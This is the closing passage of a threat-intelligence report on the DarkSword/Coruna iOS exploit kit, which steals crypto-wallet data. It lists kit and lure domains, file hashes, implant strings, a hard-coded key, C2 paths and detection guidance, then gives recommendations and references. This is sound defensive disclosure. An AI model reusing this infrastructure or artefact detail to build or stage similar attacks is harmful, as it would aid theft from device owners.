*.pifilubihu[.]shop	Kit host, random subdomains	Lures on edcchen[.]online, web3kkyulec[.]world, rollbit[.]rest, rootdata[.]cam, zhishi9[.]xyz
chainvex[.]cam	Kit host	Embedded by Google Sites lure pages, 14 October
afazxcr[.]xyz, yc.d-j[.]cc, ja.a-j[.]cc, xinyea[.]cc, chunfe[.]cc, t.yookme[.]cc, bb.ttyyk[.]shop, www.7-11[.]help	Kit hosts	August – October 2026
38.190.222[.]108	Bare-IP kit host (/gooll/)	SonderCloud HK, 14 – 19

		October
ios.hdios[.]cn	Kit host (/gooll/)	Served the loader on 22 September; host in the DarkSword server cluster described by Censys
mining-game[.]online	Full-chain host	Hostinger; sbx1 and PE bundle captured 13 – 16 September
www.tavonexia[.]com	Lure self-hosting the full chain	Cloudflare; direct worker captured 20 October
mobile.mumuheliio[.]com	Serves the exploit under another name	Zenixcloud, 20 October

10.2. Lure farms and lure domains (selection)

Indicator	Theme	Seen
bgp09[.]icu, bgp34[.]sbs, bgp36[.]sbs, bgp51[.]sbs, bgp63[.]sbs (random subdomains)	"Account Security Compliance Check"	September – 20 October 2026
buytrx-ins[.]com (≈50 subdomains, kit under /css/good/)	"InsPay"	September – October 2026
7zip-download[.]com[.]cn, 7zip-soft[.]com[.]cn, haozip-hub[.]com[.]cn, danzipaiduiguanfu[.]com[.]cn and 25 further .com.cn / .hl.cn names	Chinese SEO look-alikes of 7-Zip / HaoZip / Danzipaidui	8 September and 1 October batches
walletsecurity[.]dev, walletsecuritypro[.]cam, coingateai[.]com, trx-exchange[.]com (bnb., m.bnb., miley.bnb.), kucoiins[.]cam, coinbase.ruhzy[.]top, bitget[.]ac, rollbit[.]rest, rootdata[.]cam, imepki[.]com, soj.s4kyn[.]com	Crypto / exchange look-alikes (registered August – October 2026)	September – October 2026
sitmarx[.]site, jgbez.sitmarx[.]site, mbhhrx.sitmarks[.]xyz, xgqosq.geblic[.]xyz, fdsdgrixj.uk[.]cc, sexgirltiktok[.]cam	Dating, "airdrop research", adult	October 2026

cwmk.eu[.]cc, mjoh.eu[.]cc, zt171.eu[.]cc, energyleasing88[.]com, yuce.xbsti[.]com, aiagentmi[.]com, domaincheckpro[.]com, operator[.]beauty, gentle[.]best, zhishi9[.]xyz, w2jb75ffpa80bqtkc[.]cfd, 2rxwujr64qoci6agbp9x[.]cfd	Miscellaneous shop, "prediction market", tool and random lures	September – October 2026
yago365[.]online, pghwhakg[.]lol, trxtron[.]live, aproject.ym301[.]vip, baron777net[.]com, oadvment[.]cc, coinbasewallecn[.]com, coincheck-account-help[.]com, parkpeark[.]xyz, www.fcccccc[.]com	Gambling, TRX rental, app-store and exchange lures of the Coruna branch	August – October 2026
sites.google[.]com/guge.j8b5[.]com/…	Google Sites lure embedding chainvex[.]cam	Abused service — report, do not block the service

10.3. Files (SHA-256)

File	SHA-256	Role
group.html	b4290d69fbb099f72f0b7ebc5fdb1211db0810f79372b871229746027d23f52c	Dispatcher (1,551 B); 2af55f5c… with CRLF; f380ddae… 355-byte variant on buytrx-ins
a8c3f01e6b47d295.js	d70f5b8ec6359ad5c22acb628a7c7ec81c8d549869afa7f96a377e52879a6642	Carrier beacon to btrf36[.]cc/hx; variants 19380347…, 77000edb…
49554fde7424c31c.js	e9b106745a31d7ad4095dd87cf8f915cf600f929b6930b9ff3534826c649f803	Coruna loader (iOS < 18); b7222f77… with BOM (on-the-wire); variants ed81fbcc…, 51aa693c…, 3f73476b…
b8def7dab9dd9ad8.js	2e443833dd58278d094acda2067a43cae1e88cbdf3902d7515776ab42f41b7e8	DarkSword loader (iOS 18); d86a6913… with CRLF; variant f47f493f…
e1105852cab6ef49.js	5856c2c59ffcbe6b82f49ec94517463dc764cfe43333a7313c49a11c1c7934de	Direct worker, iOS 18.1.1 / 18.6 – 18.6.2

455b474ef0843d25.js	37efaa4237a28a4be411d40de80b2935be5b8c4e6731ee1f858c609142a87445	Stub
8150b44e89f06890.js	df86db89f7f965fc117d4c14b722d3d02f1d1de5c6ec216bb59fcf2736374caa	Primitives worker, other iOS 18.x
a13e3e4525e28ff8.js	3196034ef1196c9151395859019674e14e3c06e3fdbf230c7e0d0c5f6211824a	JavaScriptCore exploit
717d3ef037488de5.js	9c7f86f2b82df171a09f096afcd8fa5b6b24f0b643aae765ad17ecf80dadb196	sbx0
e698499e769d1643.js	6db7114ed9e8a89a75d11930d348ebd6c3bd52572238191c3116b100e8963a98	sbx1
e0e65d55905b9342.js	da3fe94ac1ffe0ae01adfab6d5e6cd58933e93853c4b6e664f76ca468981bb02	PE bundle, build 20260914-aks40
child_667fa543.dylib	b0a7077b5d5baa1fb2d31115fbf226bac47f54c9aa499de343385cab6712f79c	CorePayloadManager arm64; UUID 757DCA29-79FD-3E5F-BF35-CB378C4E9357
child_a159973e.dylib	a436ac961ce25a0072fbafb8c1937a94b8c900e3ac512a5aa32ecf4610f2260e	CorePayloadManager arm64e; UUID CB6987E5-F247-3FBB-A3A4-6788A7D01AB3
99d0_decompressed_start256.bin	6d522977b4f5473050ae9f493cc34e837110fd5b06c236517c317d15623ba86c	Native loader "x01" of the Coruna branch; UUID 41D39E20-04A3-35F4-AC13-F6B200260386
Fourteen Coruna remote stages (SHA-1 file names)	7b843666…, 675a40df…, 329ae140…, b0b29b61…, 473f182b…, 080da430…, eaab0874…, 2cfa14b2…, 2c4a5a49…, ebcc76dc…, 5c0ebd86…, feb9442c…, de1a07d8…, 593548d7…	Full hashes in the IOC dumps

10.4. Strings and paths

Value	Meaning
20260914-aks40	PE_BUILD of the implant bundle

pack_frontend replaces btrf36.cc -> data_host	Packaging comment: the C2 is stamped in at build time
X-Client-Id: 7f3a9c2b8e1d4f6a0b5c7e9d2f4a6b8c	Fixed header of the payload manager
abf3bdc8e239c0f3183c257f9ccc23e8	Hard-coded key material for config.bin (16 bytes, expanded by the library)
/api/v1/cpm/config.bin	Configuration path of the payload manager
Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X)	User agent of the payload manager
MobileStore/1.0	User agent of the native Coruna loader
/tmp/cpm27stor, netconfig_cache_seed_v7, /tmp/com.apple.analyticsd.lock, /tmp/.launchd_db_stop|reload|purge, /tmp/.com.apple.nsurlsessiond.cache	Payload-manager artefacts
CorePayloadManager-55554944	Code-signing identifier prefix
/usr/lib/system/libsystem_featureflags.dylib	Install name used by the payload manager (masquerade)
/System/Library/CoreServices/powerd.bundle/powerdlocationd	Planted-file name inside the payload manager (no such Apple binary)
/Users/…/Project/iOSC2/native-src/CorePayloadManager/	Developer build path in the arm64e binary
KokCore, photo_probe, wallet_hit, pe_wallet_hit_bundles	Implant routines and markers
analystic/assets/js, _x_done, _x_nav, _x_ok	Deployment path and browser locks
{"k":1,"n":"	Body of the carrier beacon
cecd08aa6ff548c2	Coruna loader salt (unchanged since July)

11. Recommendations

- Users: update to iOS 18.7.3 or iOS 26.3 or later. This kit does not touch a device on those versions. Devices on iOS 18.1.1 or 18.4 – 18.6.2, and on iOS 15.2 – 17.2.1, are exploitable by a single page visit; 18.0 – 18.3 and 17.3 – 17.7 are merely absent from this kit's offset tables, which is not safety. Enable Lockdown Mode for high-risk users.
- Crypto-wallet users on iPhone: if a device on a vulnerable version has visited a crypto, exchange, dating or gambling site of the kind listed in Section 10.2 — or an ordinary site, since the kit is also planted on hacked shops and is invisible to the visitor — treat seed phrases and keystores held in the apps listed in Section 5.2 as at risk: move funds from a clean device and change exchange passwords and API keys kept in the keychain. Photographs of seed phrases are collected too. Reboot the device: neither the implant nor the payload manager survives a restart (take a file-system image first if forensics are needed).
- Website owners and hosters: look for a directory named analystic (or any directory containing a group.html plus sixteen-character hexadecimal .js files) under /js/, /img/, /wp-includes/js/ or CMS module paths, and for the iframe snippet of Section 7.2 in templates, theme files and database-stored HTML blocks. Removing both is not enough: the attacker had write access, so rotate CMS, FTP, panel and database credentials and look for web shells and unknown administrator accounts.
- Defenders: block btrf36[.]cc and the kit hosts of Section 10.1; alert on the beacon POST (/hx) and on the payload-manager request pattern (X-Client-Id header, /api/v1/cpm/config.bin); hunt on managed devices for the /tmp artefacts and for an ad-hoc-signed image named libsystem_featureflags.dylib in locationd or powerd. The file artefacts require a file-system acquisition before the next reboot; a sysdiagnose shows loaded images, thread names and the state of the CrashReporter directories.
- MDM and EDR vendors: an ad-hoc-signed image whose install name is /usr/lib/system/libsystem_featureflags.dylib but which is not the shared-cache copy, a thread named com.apple.cfnetwork.dispatch inside locationd, and the X-Client-Id request header are specific enough to detect this component without a hash.
- Analysts: treat hash lists for this family as short-lived — the kit is rebuilt per carrier and the file names are per-deployment — but note that the salt, the locks, the beacon body, the HTTP/1.0 protocol and now the payload-manager header have survived every build since July.

12. References

- FDC Threat Intelligence, "DarkSword P7: a Leaked iOS Exploit Chain Repurposed for Crypto-Wallet Theft", 10 October 2026 (github.com/freedatacenter/threat-intelligence)
- MalwareBazaar samples (abuse.ch): da3fe94a… (PE bundle), 5856c2c5… (direct worker), b0a7077b… and a436ac96… (CorePayloadManager), 6d522977… (native loader)
- vxunderground, post of 19 October 2026
- urlscan.io scans 01a0ac71-4983-71df-8025-5e654447e166 (full chain, September), 01a1585b-3f96-7663-930d-5f2a5ed73585 (direct worker, 20 October), 01a155fc-de5d-71ca-ab82-cc35243d834d (btrf36[.]cc, 19 October), 01a1553c-7fb2-749f-8eb8-2901ba3c44c5 (bgp09[.]icu farm), 01a15324-2419-727b-b6a5-e9e383723ee1 (buytrx-ins[.]com), 01a152dd-0d50-7203-933b-9da20cb4674a (i0s[.]io), 01a1397e-8863-7019-badc-69168509147e (Google Sites lure)
- iVerify, "Sleep, Beacon, Steal, Repeat: P7 DarkSword Variant", 8 October 2026 (iverify.com/blog/darksword-variant-threat-research); "Proliferation of Coruna and DarkSword", 15 September 2026 (iverify.com/blog/proliferation-of-coruna-and-darksword)
- Google Threat Intelligence Group, "The Proliferation of DarkSword", 18 March 2026 (cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain)
- Censys ARC, "DarkSword/Coruna Open Directory Finding Report", 7 October 2026, and "DarkSword's Panel Sprawl", 31 July 2026
- The leaked Coruna source code, publicly available since 2026 — lineage of the iOS 13 – 17 branch

TLP:CLEAR — This document may be distributed without restriction.